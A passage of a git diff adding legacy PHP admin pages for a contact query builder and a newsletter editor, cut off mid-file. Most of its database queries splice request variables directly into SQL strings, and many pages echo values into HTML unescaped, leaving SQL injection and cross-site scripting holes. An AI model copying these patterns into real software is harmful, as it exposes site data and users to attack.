+top("QUERY BUILDER PAGE",HELP_BASE."query.phtml");
+$nav = array(
+       "Add Contact" => "edit_contact.phtml",
+       "List all Contacts" => "list_contact.phtml",
+       "List all saved queries" => "list_query.phtml",
+       "Query Page" => "contact.phtml"
+);
+html_nav_table($nav,4);
+?>
+<script src="<?echo URL_BASE."glmlib/js/wm.js"?>"></script>
+<script src="<?echo URL_BASE."glmlib/js/msg.js"?>"></script>
+
+<table id="admin-list-table">
+<tr>
+  <th bgcolor="#2f4f4f" class="theader">
+       Submit Query
+  </th>
+  </tr>
+  <tr>
+  <td>
+       <?echo nl2br($showq)?>
+    <br>
+       <?if(isset($query_name)) {
+       echo "Query ".$query_name." Recalled";
+       }?>
+       
+       <form action="list_contact.phtml" method="POST">
+       <input type="hidden" name="delimiter" value="<?echo $delimiter?>">
+       <input type="hidden" name="file" value="<?echo $file?>">
+       <input type="hidden" name="query_string" value="<?echo $query_string?>">
+       <input type="hidden" name="Submit" value="Submit Query">
+       <center>
+       <input type="submit" value="Send Query">
+       </form>
+       </center>
+       </td>
+  </tr>
+</table>
+<script lang="javascript">
+       var o_save = new Object();
+       o_save.url = 'query_save.phtml';
+       o_save.name = 'savewin';
+       o_save.width = 510;
+       o_save.height = 150;
+</script>
+<table bgcolor="#e0e0e0" width=500 cellpadding=4 cellspacing=0 border=0>
+  <tr>
+  <th bgcolor="#2f4f4f" class="theader">
+       Do you wish to save this query for future use?
+  </th>
+  </tr>
+  <tr>
+    <td>
+       <a href="" onClick="
+       glm_open(o_save);
+       return(false);
+       ">Save This Query</a>
+       </td>
+</tr>
+</table>
+
+<?
+/* Save the query with (current) as query_name */
+if(!$dbd = db_connect(CONN2_STR)) html_error("Cant connect",0);
+
+$qs = "SELECT  id
+          FROM         search_query_db 
+          WHERE        query_name = '(current)'";
+
+if(!$res = @db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+if(!$row = @db_fetch_array($res,0,PGSQL_ASSOC)) {
+       $qs = "INSERT 
+                  INTO         search_query_db
+                                       (query_name,query,file,delimiter)
+                  VALUES       ('(current)','$query','$file','$delimiter')";
+}
+else {
+       $qs = "UPDATE   search_query_db 
+                  SET          query = '$query',
+                                       file = '$file',
+                                       delimiter = '$delimiter'
+                  WHERE        id = $row[id]";
+}
+@db_close($dbd);
+
+if(!db_auto_exec($qs,CONN2_STR)) html_error(DB_ERROR_MSG.$qs,0);
+         
+footer();
+?>
diff --git a/admin/SearchEng-Contact/query_db.phtml b/admin/SearchEng-Contact/query_db.phtml
new file mode 100755 (executable)
index 0000000..9fc8034
--- /dev/null
@@ -0,0 +1,16 @@
+<?php
+include_once("../../setup.phtml");
+if(!isset($file)) $file = "";
+if(!isset($delimiter)) $delimiter = "";
+
+$qs = "UPDATE  search_query_db 
+          SET          query_name = '$query_name'
+          WHERE        query_name = '(current)'"; 
+
+if(!db_auto_exec($qs,CONN2_STR)) html_error(DB_ERROR_MSG.$qs,1);
+
+html_header("Saving Query","Saved","");
+?>
+Query is saved as <?echo $query_name?>
+<center><a href="" onClick="window.close();return(false);">Close This
+Window</a></center>
diff --git a/admin/SearchEng-Contact/query_save.phtml b/admin/SearchEng-Contact/query_save.phtml
new file mode 100755 (executable)
index 0000000..84ed953
--- /dev/null
@@ -0,0 +1,24 @@
+<html>
+<body bgcolor=white>
+<table bgcolor="#e0e0e0" width=500 cellpadding=4 cellspacing=0 border=0
+align=left valign=top topmargin=0 leftmargin=0>
+  <tr>
+  <th bgcolor="#2f4f4f" class="theader">
+       Do you wish to save this query for future use?
+  </th>
+  </tr>
+  <tr>
+    <td>Name of query
+       
+       <form name="form2" action="query_db.phtml" method="POST">
+       <input type="hidden" name="query" value="<?echo $query_string?>">
+       <input type="hidden" name="delimiter" value="<?echo $delimiter?>">
+       <input type="hidden" name="file" value="<?echo $file?>">
+       <input name="query_name">
+       <input type="submit" name="Submit" value="Save">
+       </form>
+       </td>
+</tr>
+</table>
+</body>
+</html>
diff --git a/admin/SearchEng-Contact/update_contact.phtml b/admin/SearchEng-Contact/update_contact.phtml
new file mode 100755 (executable)
index 0000000..04022fd
--- /dev/null
@@ -0,0 +1,66 @@
+<?php
+include_once("../../setup.phtml");
+http_strip($url);
+if(!isset($mail_ok))
+       $mail_ok = 'f';
+
+
+if($REQUEST_METHOD == "POST" || $Command == "Delete") {
+       switch($Command) {
+       
+       case "Update":
+               $qs = "UPDATE   search_contact 
+                          SET          name                    = '$name',
+                                               mail_ok                 = '$mail_ok',
+                                               address1                = '$address1',
+                                               address2                = '$address2',
+                                               city                    = '$city',
+                                               state                   = '$state',
+                                               zip                             = '$zip',
+                                               country                 = '$country',
+                                               phone                   = '$phone',
+                                               email                   = '$email',
+                                               bus_type                = '$bus_type'
+                          WHERE        contactid               = $id;";
+               
+               if(!db_auto_exec($qs,CONN2_STR)) html_error("failed ->".$qs,1);
+               
+               $location = "list_contact.phtml?back=1"; 
+       
+       break;
+       
+       case "Insert":
+               $submit_date = mktime();
+               $qs = "INSERT INTO search_contact 
+                                       (name,address1,address2,city,state,zip,country,
+                                       phone,email,submit_date,bus_type,mail_ok)
+                          VALUES
+                                       ('$name','$address1','$address2','$city','$state',
+                                       '$zip','$country','$phone','$email',
+                                       '$submit_date','$bus_type','$mail_ok')";
+               
+               if(!db_auto_exec($qs,CONN2_STR)) html_error("failed ->".$qs,1);
+               
+               $location = "list_contact.phtml?back=1"; 
+       
+       break;
+       
+       case "Delete":
+               $qs = "DELETE FROM search_contact
+                          WHERE contactid = $id";
+               if(!db_auto_exec($qs,CONN2_STR)) html_error("failed ->".$qs,1);
+               $location = "list_contact.phtml?back=1"; 
+               
+       break;
+       
+       case "Cancel":
+               $location = "list_contact.phtml?back=1"; 
+       break;
+       
+       default:
+               html_error("incorrect value for Command",1);
+       break;
+       }
+       header("Location: $location");
+}
+?>
diff --git a/admin/SearchEng-Newsletter/add_block.phtml b/admin/SearchEng-Newsletter/add_block.phtml
new file mode 100755 (executable)
index 0000000..07cc95f
--- /dev/null
@@ -0,0 +1,94 @@
+<?php
+require_once "../../setup.phtml";
+require_once "news-setup.php";
+
+$sql = "
+SELECT header 
+  FROM search_news
+ WHERE id = :id";
+try {
+    $stmt = $db2h->prepare($sql);
+    $stmt->bindParam(":id", $_REQUEST['catid'], PDO::PARAM_INT);
+    $stmt->execute();
+    $header = $stmt->fetchColumn();
+} catch(PDOException $e) {
+    die($e->getMessage());
+}
+top($header." (Add Section) [Search Engine]", 
+               HELP_BASE."item.phtml?key=add+section");
+
+$lnav = array(
+                       "List Items"            => "list_news.phtml?catid=$catid"
+               );
+html_nav_table($lnav, 2);
+
+if(!$dbd = db_connect(CONN2_STR)) html_error(DB_ERROR_MSG, 1);
+
+$qs =  "SET DATESTYLE TO 'SQL, NONEUROPEAN'";
+
+if(!db_exec($dbd, $qs))
+       html_error(DB_ERROR_MSG, 1);
+
+$row["header"] = "";
+$row["description"] = "";
+if( $catid != 2 )
+{
+       $row["image"]   = "";
+}
+?>
+<script src="<?echo URL_BASE."glmlib/js/verify.js"?>"></script>
+<form enctype="multipart/form-data" action="update_block.phtml" method="POST"
+onSubmit="
+this.description.optional = false;
+this.description.r = 'Description';
+this.header.optional = true;
+<?php
+       if( $catid != 2 )
+       {
+?>
+this.image.optional = true;
+<?php
+       }
+?>
+return(verify(this))
+">
+<input type="hidden" name="news_id" value="<?echo $news_id?>">
+<input type="hidden" name="catid" value="<?echo $catid?>">
+<?     
+echo '<table id="admin-edit-table">';
+foreach($row as $key=>$value) {
+       switch($key) {
+
+       case "header":
+               echo "<tr><td class=\"navtd\" align=\"right\">Header:</td>";
+               text_box("header",$value);
+               echo "</tr>";
+       break;
+
+       case "image":
+               echo "<tr><td class=\"navtd\" align=\"right\">Image:</td>";
+               echo "<td class=\"navtd2\"><input type=\"file\" name=\"image\"></td>";
+               echo "</tr>";
+       break;
+
+       case "description":
+               echo "<tr><td class=\"navtd\" align=\"right\">Description:</td>";
+               text_area("description",$value);
+               echo "</tr>";
+       break;
+               
+       default:
+               html_error("Incorrect Value -> ".$key,1);
+       break;
+       }
+}
+
+?>
+<tr><td></td><td>
+<input type="submit" name="Command" value="Insert">
+</td></tr>
+</table>
+</form>
+<?
+footer();
+?>
diff --git a/admin/SearchEng-Newsletter/add_news.phtml b/admin/SearchEng-Newsletter/add_news.phtml
new file mode 100755 (executable)
index 0000000..5a02d6d
--- /dev/null
@@ -0,0 +1,153 @@
+<?php
+require_once "../../setup.phtml";
+require_once "news-setup.php";
+
+$sql = "
+SELECT header 
+  FROM search_news_category
+ WHERE id = :id";
+try {
+    $stmt = $db2h->prepare($sql);
+    $stmt->bindParam(":id", $_REQUEST['catid'], PDO::PARAM_INT);
+    $stmt->execute();
+    $header = $stmt->fetchColumn();
+} catch(PDOException $e) {
+    die($e->getMessage());
+}
+top($header." (Add Item) [Search Engine]", HELP_BASE."item.phtml?key=add");
+
+function catid_select($dbd,$catid) {
+       // select catid portion 
+       $qs = "SELECT   id,header 
+                  FROM         search_news_category";
+
+       if(!$cat_res = db_exec($dbd, $qs)) html_error(DB_ERROR_MSG,1);
+       $select = "<select name=\"catid\">";
+       for($x = 0; $x < db_numrows($cat_res); $x++) {
+               if(!$row = db_fetch_array($cat_res,$x, PGSQL_ASSOC)) {
+                       html_error(DB_ERROR_MSG,1);
+               }
+               $select .= "<option value=\"$row[id]\"";
+               if($row[id] == $catid)
+                       $select .= " SELECTED";
+               $select .= ">$row[header]";
+               }
+       $select .= "</select>";
+       return($select);
+}
+
+$lnav = array(
+                       "Add A New Item"        => "add_news.phtml?catid=$catid",
+                       "List Items"            => "list_news.phtml?catid=$catid"
+               );
+html_nav_table($lnav, 3);
+
+if(!$dbd = db_connect(CONN2_STR)) html_error(DB_ERROR_MSG, 1);
+
+$qs =  "SET DATESTYLE TO 'SQL, NONEUROPEAN'";
+
+if(!db_exec($dbd, $qs))
+       html_error(DB_ERROR_MSG, 1);
+
+$row["title"] = "";
+$row["header"] = "";
+$row["catid"] = $catid;
+$row["vol"] = "";
+$row["issue"]  = "";
+$row["description"] = "";
+if( $catid != 2 )
+{
+       $row["image"]   = "";
+}
+       
+
+
+?>
+<script src="<?echo URL_BASE."glmlib/js/verify.js"?>"></script>
+<form enctype="multipart/form-data" action="update_news.phtml" method="POST"
+
+onSubmit="
+this.title.optional = false;
+this.title.r = 'Title';
+this.header.optional = true;
+this.description.optional = true;
+this.header.optional = true;
+this.catid.optional = true;
+<?php
+       if( $catid != 2 )
+       {
+?>
+this.image.optional = true;
+<?php
+       }
+?>
+this.vol.optional = false;
+this.vol.numeric = true;
+this.vol.r = 'Vol';
+this.issue.optional = false;
+this.issue.numeric = true;
+this.issue.r = 'Issue';
+return(verify(this))
+">
+<?     
+echo '<table id="admin-edit-table">';
+foreach($row as $key=>$value) {
+       switch($key) {
+
+       case "title":
+               echo "<tr><td class=\"navtd\" align=\"right\">Title:</td>";
+               text_box("title",$value);
+               echo "</tr>";
+       break;
+
+       case "header":
+               echo "<tr><td class=\"navtd\" align=\"right\">Header:</td>";
+               text_box("header",$value);
+               echo "</tr>";
+       break;
+
+       case "catid":
+               echo "<tr><td class=\"navtd\" align=\"right\">Category:</td>";
+               $output = catid_select($dbd,$catid);
+               echo "<td class=\"navtd2\">".$output."</td>";
+               echo "</tr>";
+       break;
+               
+       case "image":
+               echo "<tr><td class=\"navtd\" align=\"right\">Image:</td>";
+               echo "<td class=\"navtd2\"><input type=\"file\" name=\"image\"></td>";
+               echo "</tr>";
+       break;
+
+       case "description":
+               echo "<tr><td class=\"navtd\" align=\"right\">Description:</td>";
+               text_area("description",$value);
+               echo "</tr>";
+       break;
+               
+       case "vol":
+               echo "<tr><td class=\"navtd\" align=\"right\">Vol:</td>";
+               echo "<td><input name=\"vol\" value=\"$value\" size=5>";
+       break;
+       
+       case "issue":
+               echo "Issue:<input name=\"issue\" value=\"$value\" size=5>";
+               echo "</td></tr>";
+       break;
+       
+       default:
+               html_error("Incorrect Value -> ".$key,1);
+       break;
+       }
+}
+
+?>
+<tr><td></td><td>
+<input type="hidden" name="Command" value="Insert">
+<input type="submit" name="Command" value="Insert">
+</td></tr>
+</table>
+</form>
+<?
+footer();
+?>
diff --git a/admin/SearchEng-Newsletter/add_news_category.phtml b/admin/SearchEng-Newsletter/add_news_category.phtml
new file mode 100755 (executable)
index 0000000..1c8c99c
--- /dev/null
@@ -0,0 +1,41 @@
+<?
+include_once("../../setup.phtml");
+
+top("Newsletters/Press Releases(Add Category) [Search Engine]",
+HELP_BASE."add_media_category.phtml");
+$lnav = array(
+                       "Add A New Category"    => "add_news_category.phtml",
+                       "List Categories"               => "list_news_category.phtml"
+               );
+html_nav_table($lnav, 2);
+
+$row = array (
+       "header" => ""
+       );
+       
+if(!$dbd = db_connect(CONN2_STR)) html_error(DB_ERROR_MSG, 1);
+
+echo "<table bgcolor=\"#c0c0c0\" cellspacing=0 cellpadding=4 width=400 align=center border=0>";
+
+       form_header("update_news_category.phtml","POST","");
+       
+       foreach($row as $key=>$value) {
+               switch($key) {
+
+               case "header":
+
+                       echo "<tr><td class=\"navtd\" align=\"right\">Name:</td>";
+                       text_box("header",$value);
+                       echo "</tr>";
+               break;
+
+               default:
+                       html_error("Incorrect Value -> ".$key,1);
+               break;
+               }
+       }
+form_footer("Insert","", 2);
+echo "</table>";
+
+footer();
+?>
diff --git a/admin/SearchEng-Newsletter/cktoolbox.js b/admin/SearchEng-Newsletter/cktoolbox.js
new file mode 100755 (executable)
index 0000000..38614e6
--- /dev/null
@@ -0,0 +1,55 @@
+var CkToolbox =
+{
+    init: function()
+    {
+        if ($('#description').is('textarea')) {
+            //  Only try to replace the textarea if the
+            //  CKEditor is compatible w/ the browser.
+            if (CKEDITOR.env.isCompatible) {
+                CKEDITOR.replace('description',
+                    {
+                        toolbar : 'Default',
+                        width : 570,
+                        height : 400,
+                        filebrowserImageBrowseUrl : '../../Toolkit/CKImages/browser.php?folder=1',
+                        filebrowserImageUploadUrl : '../../Toolkit/CKImages/connector.php?command=Upload',
+                                               filebrowserImageWindowWidth : '760',
+                                               filebrowserImageWindowHeight : '500'
+                    });
+            }
+        }
+        if ($('#intro').is('textarea')) {
+            //  Only try to replace the textarea if the
+            //  CKEditor is compatible w/ the browser.
+            if (CKEDITOR.env.isCompatible) {
+                CKEDITOR.replace('intro',
+                    {
+                        toolbar : 'Default',
+                        width : 570,
+                        height : 400,
+                        filebrowserImageBrowseUrl : '../../Toolkit/CKImages/browser.php?folder=1',
+                        filebrowserImageUploadUrl : '../../Toolkit/CKImages/connector.php?command=Upload',
+                                               filebrowserImageWindowWidth : '760',
+                                               filebrowserImageWindowHeight : '500'
+                    });
+            }
+        }
+        if ($('#response').is('textarea')) {
+            //  Only try to replace the textarea if the
+            //  CKEditor is compatible w/ the browser.
+            if (CKEDITOR.env.isCompatible) {
+                CKEDITOR.replace('response',
+                    {
+                        toolbar : 'Default',
+                        width : 570,
+                        height : 400,
+                        filebrowserImageBrowseUrl : '../../Toolkit/CKImages/browser.php?folder=1',
+                        filebrowserImageUploadUrl : '../../Toolkit/CKImages/connector.php?command=Upload',
+                                               filebrowserImageWindowWidth : '760',
+                                               filebrowserImageWindowHeight : '500'
+                    });
+            }
+        }
+    }
+};
+$(document).ready(CkToolbox.init);
diff --git a/admin/SearchEng-Newsletter/edit_autoresponse.phtml b/admin/SearchEng-Newsletter/edit_autoresponse.phtml
new file mode 100755 (executable)
index 0000000..d47420d
--- /dev/null
@@ -0,0 +1,77 @@
+<?
+include_once("../../setup.phtml");
+
+
+top("AutoReponse for Newsletter [Search Engine]", HELP_BASE."response.phtml?key=edit+section");
+
+if(!$dbd = db_connect(CONN2_STR)) html_error(DB_ERROR_MSG, 1);
+
+$qs =  "SET DATESTYLE TO 'SQL, NONEUROPEAN'";
+
+if(!db_exec($dbd, $qs))
+       html_error(DB_ERROR_MSG, 1);
+
+$qs = "SELECT   id,subject,response
+          FROM         search_news_response
+          WHERE        id = $id";
+
+if(!$res = db_exec($dbd, $qs)) html_error(DB_ERROR_MSG,1);
+
+
+echo '<script type="text/javascript" src="'.GLM_APP_BASE_URL.'ckeditor/current/ckeditor.js"></script>';
+echo '<table id="admin-edit-table">';
+
+?>
+<script src=<?echo URL_BASE."glmlib/js/verify.js"?>></script>
+<tr><td>
+<form enctype="multipart/form-data" action="update_autoresponse.phtml" method="POST"
+
+onSubmit="
+this.response.optional = false;
+this.response.r = 'Description';
+this.subject.optional = false;
+this.subject.r = 'Subject';
+return(verify(this))
+"></td></tr>
+<?
+for($i = 0; $i < db_numrows($res); $i++) {
+       $row = db_fetch_array($res,$i, PGSQL_ASSOC);
+
+       if(!$row[id])
+               html_error(DB_ERROR_MSG,1);
+
+       foreach($row as $key=>$value) {
+               switch($key) {
+
+               case "id":
+                       echo "<input type=\"hidden\" name=\"id\" value=\"$value\">";
+               break;
+
+               case "subject":
+                       echo "<tr><td class=\"navtd\" align=\"right\">Subject:</td>";
+                       text_box("subject",$value);
+                       echo "</tr>";
+               break;
+
+               case "response":
+                       echo "<tr><td class=\"navtd\" align=\"right\">Response:</td>";
+            echo '<td><textarea name="response" id="response" cols="60" rows="60">'.$value.'</textarea></td>';
+                       echo "</tr>";
+               break;
+
+               default:
+                       html_error("Incorrect Value -> ".$key,1);
+               break;
+               }
+       }
+}
+echo '<script type="text/javascript" src="./cktoolbox.js"></script>';
+?>
+<tr><td></td><td NOWRAP>
+<input type="submit" name="Command" value="Update">
+</form>
+</td></tr>
+</table>
+<?
+footer();
+?>
diff --git a/admin/SearchEng-Newsletter/edit_block.phtml b/admin/SearchEng-Newsletter/edit_block.phtml
new file mode 100755 (executable)
index 0000000..dc57b12
--- /dev/null
@@ -0,0 +1,129 @@
+<?php
+require_once "../../setup.phtml";
+require_once "news-setup.php";
+
+$sql = "
+SELECT header
+  FROM search_news
+ WHERE id = :id";
+try {
+    $stmt = $db2h->prepare($sql);
+    $stmt->bindParam(":id", $_REQUEST['catid'], PDO::PARAM_INT);
+    $stmt->execute();
+    $header = $stmt->fetchColumn();
+} catch(PDOException $e) {
+    die($e->getMessage());
+}
+top("$header (Edit/Delete) [Search Engine]", HELP_BASE."item.phtml?key=edit+section");
+
+if(!$dbd = db_connect(CONN2_STR)) html_error(DB_ERROR_MSG, 1);
+
+$qs =  "SET DATESTYLE TO 'SQL, NONEUROPEAN'";
+
+if(!db_exec($dbd, $qs))
+       html_error(DB_ERROR_MSG, 1);
+
+if( $catid == 2 )
+{
+       $qs = "select id,header,description,pos from search_news_block where news_id = $news_id and id = $id";
+}
+else
+{
+       $qs = "select id,header,description,image,pos from search_news_block where news_id = $news_id and id = $id";
+}
+
+echo '<script type="text/javascript" src="'.GLM_APP_BASE_URL.'ckeditor/current/ckeditor.js"></script>';
+if(!$res = db_exec($dbd, $qs)) html_error(DB_ERROR_MSG,1);
+?>
+<script src=<?echo URL_BASE."glmlib/js/verify.js"?>></script>
+<form enctype="multipart/form-data" action="update_block.phtml" method="POST"
+onSubmit="
+this.description.optional = false;
+this.description.r = 'Description';
+this.header.optional = true;
+<?php
+       if( $catid != 2 )
+       {
+?>
+this.image.optional = true;
+<?php
+       }
+?>
+return(verify(this))
+">
+<?
+echo '<table id="admin-edit-table">';
+for($i = 0; $i < db_numrows($res); $i++) {
+       $row = db_fetch_array($res,$i, PGSQL_ASSOC);
+
+       if(!$row[id])
+               html_error(DB_ERROR_MSG,1);
+
+       foreach($row as $key=>$value) {
+               switch($key) {
+
+               case "id":
+                       echo "<input type=\"hidden\" name=\"id\" value=\"$value\">";
+               break;
+
+               case "header":
+                       echo "<tr><td class=\"navtd\" align=\"right\">Header:</td>";
+                       text_box("header",$value);
+                       echo "</tr>";
+               break;
+
+               case "image":
+                       echo "<tr><td class=\"navtd\" align=\"right\">Current Image:</td>";
+                       echo "<td class=\"navtd2\">
+                       <input type=\"hidden\" name=\"oldimage\" value=\"$value\">";
+                       if($value != "") {
+                       echo "<img src=\"".MIDSIZED."$value\">
+                       </td>
+                       <tr>
+                       <td class=\"navtd\" align=\"right\">Delete this image:</td>
+                       <td>
+                       <input type=\"radio\" name=\"delete\" value=\"1\">Yes
+                       <input type=\"radio\" name=\"delete\" value=\"2\" CHECKED>No
+                       </td>
+                       </tr>";
+                       }
+                       echo "<tr><td align=\"right\">
+                       New Image:</td><td><input type=\"file\" name=\"image\"></td></tr>";
+               break;
+
+               case "description":
+                       echo "<tr><td class=\"navtd\" align=\"right\">Description:</td>";
+            echo '<td><textarea name="description" id="description" cols="60" rows="60">'.$value.'</textarea></td>';
+                       echo "</tr>";
+               break;
+
+               case "pos":
+                       $pos = $value;
+                       echo "<input type=\"hidden\" name=\"pos\" value=\"$value\">";
+               break;
+
+               default:
+                       html_error("Incorrect Value -> ".$key,1);
+               break;
+               }
+       }
+}
+echo '<script type="text/javascript" src="./cktoolbox.js"></script>';
+?>
+<tr><td></td><td NOWRAP>
+<input type="hidden" name="catid" value="<?echo $catid?>">
+<input type="hidden" name="news_id" value="<?echo $news_id?>">
+<input type="submit" name="Command" value="Update">
+</form>
+<form action="update_block.phtml" method="POST">
+<input type="hidden" name="catid" value="<?echo $catid?>">
+<input type="hidden" name="id" value="<?echo $id?>">
+<input type="hidden" name="pos" value="<?echo $pos?>">
+<input type="hidden" name="news_id" value="<?echo $news_id?>">
+<input type="submit" name="Command" value="Delete">
+</form>
+</td></tr>
+</table>
+<?
+footer();
+?>
diff --git a/admin/SearchEng-Newsletter/edit_news.phtml b/admin/SearchEng-Newsletter/edit_news.phtml
new file mode 100755 (executable)
index 0000000..3b2d12c
--- /dev/null
@@ -0,0 +1,213 @@
+<?php
+require_once "../../setup.phtml";
+require_once "news-setup.php";
+
+$sql = "
+SELECT header
+  FROM search_news_category
+ WHERE id = :id";
+try {
+    $stmt = $db2h->prepare($sql);
+    $stmt->bindParam(":id", $_REQUEST['catid'], PDO::PARAM_INT);
+    $stmt->execute();
+    $header = $stmt->fetchColumn();
+} catch(PDOException $e) {
+    die($e->getMessage());
+}
+top("$header (Edit/Delete) [Search Engine]", HELP_BASE."item.phtml?key=edit");
+function catid_select($dbd,$catid) {
+       // select catid portion
+       $qs = "SELECT   id,header
+                  FROM         search_news_category";
+
+       if(!$cat_res = db_exec($dbd, $qs)) html_error(DB_ERROR_MSG.$qs,1);
+       $select = "<select name=\"catid\">";
+       for($x = 0; $x < db_numrows($cat_res); $x++) {
+               if(!$row = db_fetch_array($cat_res,$x, PGSQL_ASSOC)) {
+                       html_error(DB_ERROR_MSG.$qs,1);
+               }
+               $select .= "<option value=\"$row[id]\"";
+               if($row[id] == $catid) {
+                       $select .= " SELECTED";
+               }
+               $select .= ">$row[header]";
+       }
+       $select .= "</select>";
+       return($select);
+}
+
+$lnav = array(
+"List Items"   => "list_news.phtml?catid=$catid",
+"View Item"            => "view_news.phtml?catid=$catid&id=$id",
+"Delete This Item"     => array (
+       "update_news.phtml?Command=Delete&id=$id&catid=$catid",
+       "onClick=\"
+       if(confirm('You are Deleting this item and all sections Are you sure?')) {
+               return(true);
+       }
+       else {
+               return(false);
+       }\"")
+               );
+html_nav_table($lnav, 3);
+
+if(!$dbd = db_connect(CONN2_STR)) html_error(DB_ERROR_MSG, 1);
+
+$qs =  "SET DATESTYLE TO 'SQL, NONEUROPEAN'";
+
+echo '<script type="text/javascript" src="'.GLM_APP_BASE_URL.'ckeditor/current/ckeditor.js"></script>';
+if(!db_exec($dbd, $qs))
+       html_error(DB_ERROR_MSG.$qs, 1);
+
+
+if( $catid == 2 )
+{
+       $qs = "select id,title,header,catid,vol,issue,status,description from search_news where id = $id";
+}
+else
+{
+       $qs = "select id,title,header,catid,vol,issue,status,description,image from search_news where id = $id";
+}
+
+if(!$res = db_exec($dbd, $qs)) html_error(DB_ERROR_MSG.$qs,1);
+
+
+echo '<table id="admin-edit-table">';
+
+?>
+<script src=<?echo URL_BASE."glmlib/js/verify.js"?>></script>
+<tr><td>
+<form enctype="multipart/form-data" action="update_news.phtml" method="POST"
+
+onSubmit="
+this.title.optional = false;
+this.title.r = 'Header';
+this.header.optional = true;
+this.description.optional = true;
+this.catid.optional = true;
+<?php
+       if( $catid != 2 )
+       {
+?>
+this.image.optional = true;
+<?php
+       }
+?>
+this.vol.optional = false;
+this.vol.numeric = true;
+this.vol.r = 'Vol';
+this.issue.optional = false;
+this.issue.numeric = true;
+this.issue.r = 'Issue';
+return(verify(this))
+"></td></tr>
+<?
+for($i = 0; $i < db_numrows($res); $i++) {
+       $row = db_fetch_array($res,$i, PGSQL_ASSOC);
+
+       if(!$row[id])
+               html_error(DB_ERROR_MSG,1);
+
+       foreach($row as $key=>$value) {
+               switch($key) {
+
+               case "id":
+                       echo "<input type=\"hidden\" name=\"id\" value=\"$value\">";
+               break;
+
+               case "header":
+                       echo "<tr><td class=\"navtd\" align=\"right\">Header:</td>";
+                       text_box("header",$value);
+                       echo "</tr>";
+               break;
+
+               case "title":
+                       echo "<tr><td class=\"navtd\" align=\"right\">Title:</td>";
+                       text_box("title",$value);
+                       echo "</tr>";
+               break;
+
+               case "catid":
+                       echo "<tr><td class=\"navtd\" align=\"right\">Category</td>";
+                       $output = catid_select($dbd,$value);
+                       echo "<td class=\"navtd2\">".$output."</td>";
+                       echo "</tr>";
+               break;
+
+               case "image":
+                       echo "<tr><td class=\"navtd\" align=\"right\">Current Image:</td>";
+                       echo "<td class=\"navtd2\">
+                       <input type=\"hidden\" name=\"oldimage\" value=\"$value\">";
+                       if($value != "") {
+                       echo "<img src=\"".MIDSIZED."$value\">
+                       </td>
+                       <tr>
+                       <td class=\"navtd\" align=\"right\">Delete this image:</td>
+                       <td>
+                       <input type=\"radio\" name=\"delete\" value=\"1\">Yes
+                       <input type=\"radio\" name=\"delete\" value=\"2\" CHECKED>No
+                       </td>
+                       </tr>";
+                       }
+                       echo "<tr><td align=\"right\">
+                       New Image:</td><td><input type=\"file\" name=\"image\"></td></tr>";
+               break;
+
+               case "status":
+                       echo "<tr><td class=\"navtd\" align=\"right\">Status:</td>";
+                       echo "<td class=\"navtd2\"><select name=\"status\">";
+                       echo "<option value=\"queued\"";
+                       if($value == "queued"){
+                               echo " selected";
+                       }
+                       echo ">Queued";
+                       echo "<option value=\"current\"";
+                       if($value == "current"){
+                               echo " selected";
+                       }
+                       echo ">Current";
+                       echo "<option value=\"archived\"";
+                       if($value == "archived"){
+                               echo " selected";
+                       }
+                       echo ">Archived";
+                       echo "</select></td>";
+                       echo "</tr>";
+               break;
+
+               case "vol":
+                       echo "<tr><td class=\"navtd\" align=\"right\">Vol:</td>";
+                       echo "<td><input name=\"vol\" value=\"$value\" size=5>";
+               break;
+
+               case "issue":
+                       echo "Issue:<input name=\"issue\" value=\"$value\" size=5>";
+                       echo "</td></tr>";
+               break;
+
+               case "description":
+                       echo "<tr><td class=\"navtd\" align=\"right\">Description:</td>";
+            echo '<td><textarea name="description" id="description" cols="60" rows="60">'.$value.'</textarea></td>';
+                       echo "</tr>";
+               break;
+
+               default:
+                       html_error("Incorrect Value -> ".$key,1);
+               break;
+               }
+       }
+}
+
+echo '<script type="text/javascript" src="./cktoolbox.js"></script>';
+?>
+<tr><td></td><td NOWRAP>
+<input type="hidden" name="catid" value="<?echo $catid?>">
+<input type="hidden" name="news_id" value="<?echo $news_id?>">
+<input type="hidden" name="Command" value="Update">
+<input type="submit" value="Update">
+</form>
+</td></tr>
+</table>
+<?
+footer();
+?>
diff --git a/admin/SearchEng-Newsletter/edit_news_category.phtml b/admin/SearchEng-Newsletter/edit_news_category.phtml
new file mode 100755 (executable)
index 0000000..17bc947
--- /dev/null
@@ -0,0 +1,55 @@
+<?
+include_once("../../setup.phtml");
+
+top("Newsletters/Press-Releases (Add Category) [Search Engine]",
+HELP_BASE."edit_media_category.phtml");
+$lnav = array(
+                       "Add A New Category"    => "add_news_category.phtml",
+                       "List Categories"               => "list_news_category.phtml"
+               );
+html_nav_table($lnav, 2);
+
+if(!$dbd = db_connect(CONN2_STR)) html_error(DB_ERROR_MSG, 1);
+
+$qs = "SELECT   id,header       
+          FROM         search_news_category 
+          WHERE        id = $id";
+               
+if(!$res = db_exec($dbd, $qs)) html_error(DB_ERROR_MSG,1);
+
+echo '<table id="admin-edit-table">';
+
+for($i = 0;$i < db_numrows($res); $i++) {
+       $row = db_fetch_array($res,$i, PGSQL_ASSOC);
+       
+       if(!$row[id])
+               html_error(DB_ERROR_MSG,1);
+
+       form_header("update_news_category.phtml","POST","");
+       
+       foreach($row as $key=>$value) {
+               switch($key) {
+
+               case "id":
+                       echo "<input type=\"hidden\" name=\"id\" value=\"$value\">";
+               break;
+               
+               case "header":
+
+                       echo "<tr><td class=\"navtd\" align=\"right\">Name:</td>";
+                       text_box("header",$value);
+                       echo "</tr>";
+               break;
+
+               default:
+                       html_error("Incorrect Value -> ".$key,1);
+               break;
+               }
+       }
+}
+form_footer("Update", 1, 2);
+echo "</table>
+</form>
+";
+footer();
+?>
diff --git a/admin/SearchEng-Newsletter/export-images-is0.php b/admin/SearchEng-Newsletter/export-images-is0.php
new file mode 100755 (executable)
index 0000000..23500fc
--- /dev/null
@@ -0,0 +1,83 @@
+<?php
+require_once '../../setup.phtml';
+require_once "news-setup.php";
+require_once BASE.'Toolkit/Image/Server.php';
+define('OLDORG', 'http://www.gaslightmedia.com/images/original/');
+$sql = "
+SELECT id,image
+FROM search_news
+WHERE image != ''
+ORDER BY id";
+//$sql .= " LIMIT 1 OFFSET 0";
+$pre1 = "
+SELECT id,image
+FROM search_news_block
+WHERE image != ''";
+//$pre1 .= " LIMIT 1 OFFSET 0";
+try {
+    $stmt  = $db2h->query($sql);
+    $data  = $stmt->fetchAll(PDO::FETCH_ASSOC);
